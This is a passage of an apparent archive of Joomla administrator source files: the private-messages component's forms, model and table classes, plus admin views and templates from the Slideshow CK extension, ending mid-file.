com_messages/models/forms/message.xml000060400000001217152455305260013774 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="user_id_to"
			type="usermessages"
			label="COM_MESSAGES_FIELD_USER_ID_TO_LABEL"
			description="COM_MESSAGES_FIELD_USER_ID_TO_DESC"
			default="0"
			required="true" 
		/>

		<field
			name="subject"
			type="text"
			label="COM_MESSAGES_FIELD_SUBJECT_LABEL"
			description="COM_MESSAGES_FIELD_SUBJECT_DESC"
			required="true" 
		/>

		<field
			name="message"
			type="editor"
			label="COM_MESSAGES_FIELD_MESSAGE_LABEL"
			description="COM_MESSAGES_FIELD_MESSAGE_DESC"
			required="true"
			filter="JComponentHelper::filterText"
			buttons="false" 
		/>
	</fieldset>
</form>
com_messages/models/forms/filter_messages.xml000060400000003052152455305260015523 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MESSAGES_FILTER_SEARCH_LABEL"
			description="COM_MESSAGES_SEARCH_IN_SUBJECT"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="state"
			type="messagestates"
			label="COM_MESSAGES_FILTER_STATES_LABEL"
			description="COM_MESSAGES_FILTER_STATES_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
			<option value="*">JALL</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.date_time DESC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.subject ASC">COM_MESSAGES_HEADING_SUBJECT_ASC</option>
			<option value="a.subject DESC">COM_MESSAGES_HEADING_SUBJECT_DESC</option>
			<option value="a.state ASC">COM_MESSAGES_HEADING_READ_ASC</option>
			<option value="a.state DESC">COM_MESSAGES_HEADING_READ_DESC</option>
			<option value="a.user_id_from ASC">COM_MESSAGES_HEADING_FROM_ASC</option>
			<option value="a.user_id_from DESC">COM_MESSAGES_HEADING_FROM_DESC</option>
			<option value="a.date_time ASC">JDATE_ASC</option>
			<option value="a.date_time DESC">JDATE_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="5"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_messages/models/forms/config.xml000060400000001451152455305260013615 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="lock"
			type="radio"
			label="COM_MESSAGES_FIELD_LOCK_LABEL"
			description="COM_MESSAGES_FIELD_LOCK_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="mail_on_new"
			type="radio"
			label="COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL"
			description="COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="auto_purge"
			type="number"
			label="COM_MESSAGES_FIELD_AUTO_PURGE_LABEL"
			description="COM_MESSAGES_FIELD_AUTO_PURGE_DESC" 
			size="6"
			default="7"
		/>
	</fieldset>
</form>
com_messages/models/message.php000060400000032103152455305260012633 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

/**
 * Private Message model.
 *
 * @since  1.6
 */
class MessagesModelMessage extends JModelAdmin
{
	/**
	 * Message
	 */
	protected $item;

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		parent::populateState();

		$input = JFactory::getApplication()->input;

		$user  = JFactory::getUser();
		$this->setState('user.id', $user->get('id'));

		$messageId = (int) $input->getInt('message_id');
		$this->setState('message.id', $messageId);

		$replyId = (int) $input->getInt('reply_id');
		$this->setState('reply.id', $replyId);
	}

	/**
	 * Check that recipient user is the one trying to delete and then call parent delete method
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since  3.1
	 */
	public function delete(&$pks)
	{
		$pks   = (array) $pks;
		$table = $this->getTable();
		$user  = JFactory::getUser();

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if ($table->user_id_to != $user->id)
				{
					// Prune items that you can't change.
					unset($pks[$i]);

					try
					{
						JLog::add(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), JLog::WARNING, 'jerror');
					}
					catch (RuntimeException $exception)
					{
						JFactory::getApplication()->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), 'warning');
					}

					return false;
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		return parent::delete($pks);
	}

	/**
	 * Returns a Table object, always creating it.
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Message', $prefix = 'MessagesTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed    Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if (!isset($this->item))
		{
			if ($this->item = parent::getItem($pk))
			{
				// Invalid message_id returns 0
				if ($this->item->user_id_to === '0')
				{
					$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

					return false;
				}

				// Prime required properties.
				if (empty($this->item->message_id))
				{
					// Prepare data for a new record.
					if ($replyId = $this->getState('reply.id'))
					{
						// If replying to a message, preload some data.
						$db    = $this->getDbo();
						$query = $db->getQuery(true)
							->select($db->quoteName(array('subject', 'user_id_from', 'user_id_to')))
							->from($db->quoteName('#__messages'))
							->where($db->quoteName('message_id') . ' = ' . (int) $replyId);

						try
						{
							$message = $db->setQuery($query)->loadObject();
						}
						catch (RuntimeException $e)
						{
							$this->setError($e->getMessage());

							return false;
						}

						if (!$message || $message->user_id_to != JFactory::getUser()->id)
						{
							$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

							return false;
						}

						$this->item->set('user_id_to', $message->user_id_from);
						$re = JText::_('COM_MESSAGES_RE');

						if (stripos($message->subject, $re) !== 0)
						{
							$this->item->set('subject', $re . ' ' . $message->subject);
						}
					}
				}
				elseif ($this->item->user_id_to != JFactory::getUser()->id)
				{
					$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

					return false;
				}
				else
				{
					// Mark message read
					$db    = $this->getDbo();
					$query = $db->getQuery(true)
						->update($db->quoteName('#__messages'))
						->set($db->quoteName('state') . ' = 1')
						->where($db->quoteName('message_id') . ' = ' . $this->item->message_id);
					$db->setQuery($query)->execute();
				}
			}

			// Get the user name for an existing message.
			if ($this->item->user_id_from && $fromUser = new JUser($this->item->user_id_from))
			{
				$this->item->set('from_user_name', $fromUser->name);
			}
		}

		return $this->item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm   A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_messages.message', 'message', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_messages.edit.message.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_messages.message', $data);

		return $data;
	}

	/**
	 * Checks that the current user matches the message recipient and calls the parent publish method
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	public function publish(&$pks, $value = 1)
	{
		$user  = JFactory::getUser();
		$table = $this->getTable();
		$pks   = (array) $pks;

		// Check that the recipient matches the current user
		foreach ($pks as $i => $pk)
		{
			$table->reset();

			if ($table->load($pk))
			{
				if ($table->user_id_to != $user->id)
				{
					// Prune items that you can't change.
					unset($pks[$i]);

					try
					{
						JLog::add(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), JLog::WARNING, 'jerror');
					}
					catch (RuntimeException $exception)
					{
						JFactory::getApplication()->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 'warning');
					}

					return false;
				}
			}
		}

		return parent::publish($pks, $value);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$table = $this->getTable();

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Assign empty values.
		if (empty($table->user_id_from))
		{
			$table->user_id_from = JFactory::getUser()->get('id');
		}

		if ((int) $table->date_time == 0)
		{
			$table->date_time = JFactory::getDate()->toSql();
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Load the user details (already valid from table check).
		$toUser = \JUser::getInstance($table->user_id_to);

		// Check if recipient can access com_messages.
		if (!$toUser->authorise('core.login.admin') || !$toUser->authorise('core.manage', 'com_messages'))
		{
			$this->setError(\JText::_('COM_MESSAGES_ERROR_RECIPIENT_NOT_AUTHORISED'));

			return false;
		}

		// Load the recipient user configuration.
		$model  = JModelLegacy::getInstance('Config', 'MessagesModel', array('ignore_request' => true));
		$model->setState('user.id', $table->user_id_to);
		$config = $model->getItem();

		if (empty($config))
		{
			$this->setError($model->getError());

			return false;
		}

		if ($config->get('lock', false))
		{
			$this->setError(JText::_('COM_MESSAGES_ERR_SEND_FAILED'));

			return false;
		}

		// Store the data.
		if (!$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		if ($config->get('mail_on_new', true))
		{
			$fromUser         = JUser::getInstance($table->user_id_from);
			$debug            = JFactory::getConfig()->get('debug_lang');
			$default_language = JComponentHelper::getParams('com_languages')->get('administrator');
			$lang             = JLanguage::getInstance($toUser->getParam('admin_language', $default_language), $debug);
			$lang->load('com_messages', JPATH_ADMINISTRATOR);

			// Build the email subject and message
			$app      = JFactory::getApplication();
			$linkMode = $app->get('force_ssl', 0) >= 1 ? Route::TLS_FORCE : Route::TLS_IGNORE;
			$sitename = $app->get('sitename');
			$fromName = $fromUser->get('name');
			$siteURL  = JRoute::link('administrator', 'index.php?option=com_messages&view=message&message_id=' . $table->message_id, false, $linkMode, true);
			$subject  = html_entity_decode($table->subject, ENT_COMPAT, 'UTF-8');
			$message  = strip_tags(html_entity_decode($table->message, ENT_COMPAT, 'UTF-8'));

			$subj	  = sprintf($lang->_('COM_MESSAGES_NEW_MESSAGE'), $fromName, $sitename);
			$msg 	  = $subject . "\n\n" . $message . "\n\n" . sprintf($lang->_('COM_MESSAGES_PLEASE_LOGIN'), $siteURL);

			// Send the email
			$mailer = JFactory::getMailer();

			if (!$mailer->addReplyTo($fromUser->email, $fromUser->name))
			{
				try
				{
					JLog::add(JText::_('COM_MESSAGES_ERROR_COULD_NOT_SEND_INVALID_REPLYTO'), JLog::WARNING, 'jerror');
				}
				catch (RuntimeException $exception)
				{
					JFactory::getApplication()->enqueueMessage(JText::_('COM_MESSAGES_ERROR_COULD_NOT_SEND_INVALID_REPLYTO'), 'warning');
				}

				// The message is still saved in the database, we do not allow this failure to cause the entire save routine to fail
				return true;
			}

			if (!$mailer->addRecipient($toUser->email, $toUser->name))
			{
				try
				{
					JLog::add(JText::_('COM_MESSAGES_ERROR_COULD_NOT_SEND_INVALID_RECIPIENT'), JLog::WARNING, 'jerror');
				}
				catch (RuntimeException $exception)
				{
					JFactory::getApplication()->enqueueMessage(JText::_('COM_MESSAGES_ERROR_COULD_NOT_SEND_INVALID_RECIPIENT'), 'warning');
				}

				// The message is still saved in the database, we do not allow this failure to cause the entire save routine to fail
				return true;
			}

			$mailer->setSubject($subj);
			$mailer->setBody($msg);

			// The Send method will raise an error via JError on a failure, we do not need to check it ourselves here
			$mailer->Send();
		}

		return true;
	}

	/**
	 * Sends a message to the site's super users
	 *
	 * @param   string  $subject  The message subject
	 * @param   string  $message  The message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function notifySuperUsers($subject, $message, $fromUser = null)
	{
		$db = $this->getDbo();

		try
		{
			/** @var JTableAsset $table */
			$table  = $this->getTable('Asset', 'JTable');
			$rootId = $table->getRootId();

			/** @var JAccessRule[] $rules */
			$rules     = JAccess::getAssetRules($rootId)->getData();
			$rawGroups = $rules['core.admin']->getData();

			if (empty($rawGroups))
			{
				$this->setError(JText::_('COM_MESSAGES_ERROR_MISSING_ROOT_ASSET_GROUPS'));

				return false;
			}

			$groups = array();

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $db->quote($g);
				}
			}

			if (empty($groups))
			{
				$this->setError(JText::_('COM_MESSAGES_ERROR_NO_GROUPS_SET_AS_SUPER_USER'));

				return false;
			}

			$query = $db->getQuery(true)
				->select($db->quoteName('map.user_id'))
				->from($db->quoteName('#__user_usergroup_map', 'map'))
				->join('LEFT', $db->quoteName('#__users', 'u') . ' ON ' . $db->quoteName('u.id') . ' = ' . $db->quoteName('map.user_id'))
				->where($db->quoteName('map.group_id') . ' IN(' . implode(',', $groups) . ')')
				->where($db->quoteName('u.block') . ' = 0')
				->where($db->quoteName('u.sendEmail') . ' = 1');

			$userIDs = $db->setQuery($query)->loadColumn(0);

			if (empty($userIDs))
			{
				$this->setError(JText::_('COM_MESSAGES_ERROR_NO_USERS_SET_AS_SUPER_USER'));

				return false;
			}

			foreach ($userIDs as $id)
			{
				/*
				 * All messages must have a valid from user, we have use cases where an unauthenticated user may trigger this
				 * so we will set the from user as the to user
				 */
				$data = array(
					'user_id_from' => $id,
					'user_id_to'   => $id,
					'subject'      => $subject,
					'message'      => $message,
				);

				if (!$this->save($data))
				{
					return false;
				}
			}

			return true;
		}
		catch (Exception $exception)
		{
			$this->setError($exception->getMessage());

			return false;
		}
	}
}
com_messages/tables/message.php000060400000006237152455305260012633 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Message Table class
 *
 * @since  1.5
 */
class MessagesTableMessage extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  &$db  Database connector object
	 *
	 * @since   1.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__messages', 'message_id', $db);

		$this->setColumnAlias('published', 'state');
	}

	/**
	 * Validation and filtering.
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function check()
	{
		// Check the to and from users.
		$user = new JUser($this->user_id_from);

		if (empty($user->id))
		{
			$this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_FROM_USER'));

			return false;
		}

		$user = new JUser($this->user_id_to);

		if (empty($user->id))
		{
			$this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_TO_USER'));

			return false;
		}

		if (empty($this->subject))
		{
			$this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_SUBJECT'));

			return false;
		}

		if (empty($this->message))
		{
			$this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_MESSAGE'));

			return false;
		}

		return true;
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table.  The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An optional array of primary key values to update.  If not
	 *                            set the instance property value is used.
	 * @param   integer  $state   The publishing state. eg. [0 = unpublished, 1 = published]
	 * @param   integer  $userId  The user id of the user performing the operation.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks = ArrayHelper::toInteger($pks);
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k . ' IN (' . implode(',', $pks) . ')';

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE ' . $this->_db->quoteName($this->_tbl)
			. ' SET ' . $this->_db->quoteName('state') . ' = ' . (int) $state
			. ' WHERE (' . $where . ')'
		);

		try
		{
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_slideshowck/views/about/index.html000060400000000054152455305260014167 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/views/about/view.html.php000060400000001622152455305260014622 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
 
// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKView;
use \Slideshowck\CKFof;

class SlideshowckViewAbout extends CKView {

	function display($tpl = 'default') {

		$user = \Joomla\CMS\Factory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_slideshowck') || (count($user->getAuthorisedCategories('com_slideshowck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		\Joomla\CMS\Toolbar\ToolbarHelper::title(\Joomla\CMS\Language\Text::_('Slideshow CK'));

		parent::display($tpl);
	}
}
com_slideshowck/views/about/tmpl/default.php000060400000003524152455305260015310 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2015. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

use \Slideshowck\CKFof;

defined('_JEXEC') or die;

// get the version installed
$installed_version = 'UNKOWN';
if ($xml_installed = simplexml_load_file(JPATH_SITE .'/administrator/components/com_slideshowck/slideshowck.xml')) {
	$installed_version = (string)$xml_installed->version;
}

// loads the language files from the frontend
$lang	= \Joomla\CMS\Factory::getLanguage();
$lang->load('mod_slideshowck', JPATH_SITE . '/modules/mod_slideshowck', $lang->getTag(), false);
$lang->load('mod_slideshowck', JPATH_SITE, $lang->getTag(), false);
?>
<style>
	.ckaboutversion {
		margin: 10px;
		padding: 10px;
		font-size: 20px;
		font-color: #000;
		text-align: center;
	}
	.ckcenter {
		margin: 10px 0;
		text-align: center;
	}
</style>
<div class="ckaboutversion">SLIDESHOW CK <?php echo $installed_version; ?> LIGHT</div>
<div class="ckcenter"><a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank" class="btn btn-small btn-inverse"><?php echo \Joomla\CMS\Language\Text::_('Get the Pro version'); ?></a></div>
<p class="ckcenter"><a href="https://www.joomlack.fr" target="_blank">https://www.joomlack.fr</a></p>
<div class="alert ckcenter"><a href="https://extensions.joomla.org/extensions/extension/photos-a-images/slideshow/slideshow-ck" target="_blank" class="btn btn-small btn-warning"><?php echo \Joomla\CMS\Language\Text::_('SLIDESHOWCK_VOTE_JED'); ?></a></div>
<div class="ckcenter"><a href="https://www.joomlack.fr/en/documentation/48-slideshow-ck" target="_blank"><?php echo \Joomla\CMS\Language\Text::_('SLIDESHOWCK_DOCUMENTATION')  ?></a></div>
<hr />com_slideshowck/views/about/tmpl/index.html000060400000000054152455305260015143 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/views/styles/tmpl/default.php000060400000016005152455305260015517 0ustar00<?php
/**
 * @name		Slider CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */

// no direct access
defined('_JEXEC') or die;

use Slideshowck\CKFof;

// load the lightbox
SlideshowckHelper::loadCkbox();
Slideshowck\CKFramework::load();
Slideshowck\CKFramework::loadFaIconsInline();

// vars
$modal = $this->input->get('layout', '') == 'modal' ? true : false;
$user = \Joomla\CMS\Factory::getUser();
$userId = $user->get('id');

// for ordering
$listOrder = $this->state->get('filter_order', 'a.id');
$listDirn = $this->state->get('filter_order_Dir', 'ASC');
$filter_search = $this->state->get('filter_search', '');
$limitstart = $this->state->get('limitstart', 0);
$limit = $this->state->get('limit', 20);

$isModal = $this->input->get('layout', '', 'string') == 'modal';
$function = $this->input->get('returnFunc', 'ckSelectStyle', 'string');
$appendUrl = $isModal ? '&layout=modal&tmpl=component' : '';

?>
<style>
	body.contentpane {
		padding: 125px 10px;
	}
	.ordering-select {
		margin-left: auto;
	}
	joomla-toolbar-button {
		margin: 5px;
	}
<?php
// load styles for joomla 3 for frontend edition
if (version_compare(JVERSION, '4', '<')) {
?>
	#toolbar .btn {
		display: inline-block;
		*display: inline;
		*zoom: 1;
		padding: 4px 12px;
		margin-bottom: 0;
		font-size: 12px;
		line-height: 18px;
		text-align: center;
		vertical-align: middle;
		cursor: pointer;
		background: #f3f3f3;
		color: #333;
		border: 1px solid #b3b3b3;
		-webkit-border-radius: 3px;
		-moz-border-radius: 3px;
		border-radius: 3px;
		box-shadow: 0 1px 2px rgba(0,0,0,0.05);
	}
	#toolbar .btn:hover, #toolbar .btn:focus {
		background: #e6e6e6;
		text-decoration: none;
		text-shadow: none;
	}
	#toolbar .btn-wrapper {
		display: inline-block;
		margin: 0 0 8px 5px;
	}
	#toolbar .btn-small {
		padding: 2px 10px;
		font-size: 12px;
		-webkit-border-radius: 3px;
		-moz-border-radius: 3px;
		border-radius: 3px;
	}
	#toolbar .btn {
		line-height: 24px;
		margin-right: 4px;
		padding: 0 10px;
	}
	#toolbar .btn-success {
		min-width: 148px;
	}
	#toolbar .btn-success {
		border: 1px solid #378137;
		border: 1px solid rgba(0,0,0,0.2);
		color: #fff;
		background: #46a546;
	}
	#toolbar [class^="icon-"], #toolbar [class*=" icon-"] {
		display: inline-block;
		width: 14px;
		height: 14px;
		margin-right: .25em;
		line-height: 14px;
	}
	#toolbar [class^="icon-"], #toolbar [class*=" icon-"] {
		background-color: #e6e6e6;
		border-radius: 3px 0 0 3px;
		border-right: 1px solid #b3b3b3;
		height: auto;
		line-height: inherit;
		margin: 0 6px 0 -10px;
		opacity: 1;
		text-shadow: none;
		width: 28px;
		z-index: -1;
	}
	#toolbar .btn-success [class^="icon-"] {
		background-color: transparent;
		border-right: 0;
		border-left: 0;
		width: 16px;
		margin-left: 0;
		margin-right: 0;
	}
<?php
}
?>
</style>
<form action="<?php echo \Joomla\CMS\Router\Route::_('index.php?option=com_slideshowck&view=styles'.$appendUrl); ?>" method="post" name="adminForm" id="adminForm">
	<?php if ($isModal) { ?>
	<div id="ckheader">
		<div class="ckheaderlogo"><a href="https://www.joomlack.fr" target="_blank"><img title="JoomlaCK" src="https://media.joomlack.fr/images/logo_ck_white.png" width="35" height="35"></a></div>
		<div class="ckheadermenu">
			<div class="ckheadertitle">SLIDESHOW CK - <?php echo \Joomla\CMS\Language\Text::_('CK_STYLES'); ?></div>
		</div>
	</div>
	<div id="cktoolbar-fixed">
		<?php echo $this->toolbar->render(); ?>
	</div>
	<?php } ?>
	<div id="filter-bar" class="btn-toolbar input-group">
			<div class="filter-search btn-group pull-left">
			<label for="filter_search" class="element-invisible"><?php echo \Joomla\CMS\Language\Text::_('JSEARCH_FILTER_LABEL'); ?></label>
				<input type="text" name="filter_search" id="filter_search" placeholder="<?php echo \Joomla\CMS\Language\Text::_('JSEARCH_FILTER'); ?>" value="<?php echo $this->state->get('filter_search'); ?>" class="form-control" />
			</div>
			<div class="input-group-append btn-group pull-left hidden-phone">
				<button type="submit" class="btn btn btn-primary hasTooltip" title="<?php echo \Joomla\CMS\Language\Text::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
				<button type="button" class="btn btn-secondary hasTooltip" title="<?php echo \Joomla\CMS\Language\Text::_('JSEARCH_FILTER_CLEAR'); ?>" onclick="this.form.filter_search.value = '';
					this.form.submit();"><i class="icon-remove"></i></button>
		</div>
			<div class="btn-group pull-right hidden-phone ordering-select">
				<label for="limit" class="element-invisible"><?php echo \Joomla\CMS\Language\Text::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
			&nbsp;<?php echo $this->pagination->getLimitBox(); ?>
			</div>
	</div>
	<table class="table table-striped" id="itemsList">
		<thead>
			<tr>
				<?php if (CKFof::userCan('create') || CKFof::userCan('edit')) { ?>
				<th width="1%">
					<input type="checkbox" name="checkall-toggle" title="<?php echo \Joomla\CMS\Language\Text::_('JGLOBAL_CHECK_ALL'); ?>" value="" onclick="Joomla.checkAll(this)" />
				</th>
				<?php } ?>
				<th class='left'>
					<?php echo \Joomla\CMS\HTML\HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
				</th>
				<th width="1%" class="nowrap">
					<?php echo \Joomla\CMS\HTML\HTMLHelper::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
				</th>
			</tr>
		</thead>
		<tbody>
			<?php
			foreach ($this->items as $i => $item) :
				$link = 'index.php?option=com_slideshowck&view=style&layout=modal&tmpl=component&id=' . $item->id;
				$name = $item->name ? $item->name : 'style' . $item->id;
				?>
				<tr class="row<?php echo $i % 2; ?>">
					<?php if (CKFof::userCan('create') || CKFof::userCan('edit')) { ?>
					<td class="center">
						<?php echo \Joomla\CMS\HTML\HTMLHelper::_('grid.id', $i, $item->id); ?>
					</td>
					<?php } ?>
					<td>
						<?php if ($modal) { ?>
						<a href="javascript:void(0)" onclick="window.parent.<?php echo $function ?>('<?php echo $item->id; ?>', '<?php echo $name; ?>')"><?php echo $name; ?></a>
						<?php /*<a href="<?php echo \Joomla\CMS\Uri\Uri::root(true) . '/administrator/' . $link ?>" class="ckbutton"><?php echo \Joomla\CMS\Language\Text::_('CK_EDIT'); ?></a>*/ ?>
						<?php } else { ?>
						<a onclick="CKBox.open({handler:'iframe', fullscreen: true, url:'<?php echo \Joomla\CMS\Uri\Uri::root(true) . '/administrator/' . $link ?>'})" href="#"><?php echo $name; ?></a>
						<?php } ?>
					</td>
					<td class="center">
					<?php echo (int) $item->id; ?>
					</td>
				</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
	<?php echo $this->pagination->getListFooter() ?>
	<div>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
		<?php \Slideshowck\CKFof::renderToken() ?>
	</div>
</form>com_slideshowck/views/styles/tmpl/index.html000060400000000032152455305260015350 0ustar00<html><body></body></html>com_slideshowck/views/styles/view.html.php000060400000004074152455305260015037 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKView;
use \Slideshowck\CKFof;

class SlideshowckViewStyles extends CKView {

	protected $items;

	protected $pagination;

	protected $state;

	protected $toolbar;

	/**
	 * Display the view
	 */
	public function display($tpl = null) {

		$user = \Joomla\CMS\Factory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_slideshowck') || (count($user->getAuthorisedCategories('com_slideshowck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		$this->items = $this->get('Items');

		$this->toolbar = $this->getToolbar();

//		$this->input->set('tmpl', 'component');
//		$this->input->set('layout', 'modal');

		parent::display();
	}

	private function getToolbar() {
		// Get the toolbar object instance
		$bar = \Joomla\CMS\Toolbar\Toolbar::getInstance('toolbar');
		if (CKFof::userCan('create')) {
			\Joomla\CMS\Toolbar\ToolbarHelper::addNew('style.add', 'JTOOLBAR_NEW');
			\Joomla\CMS\Toolbar\ToolbarHelper::custom('style.copy', 'copy', 'copy', 'CK_COPY');
			// Render the popup button
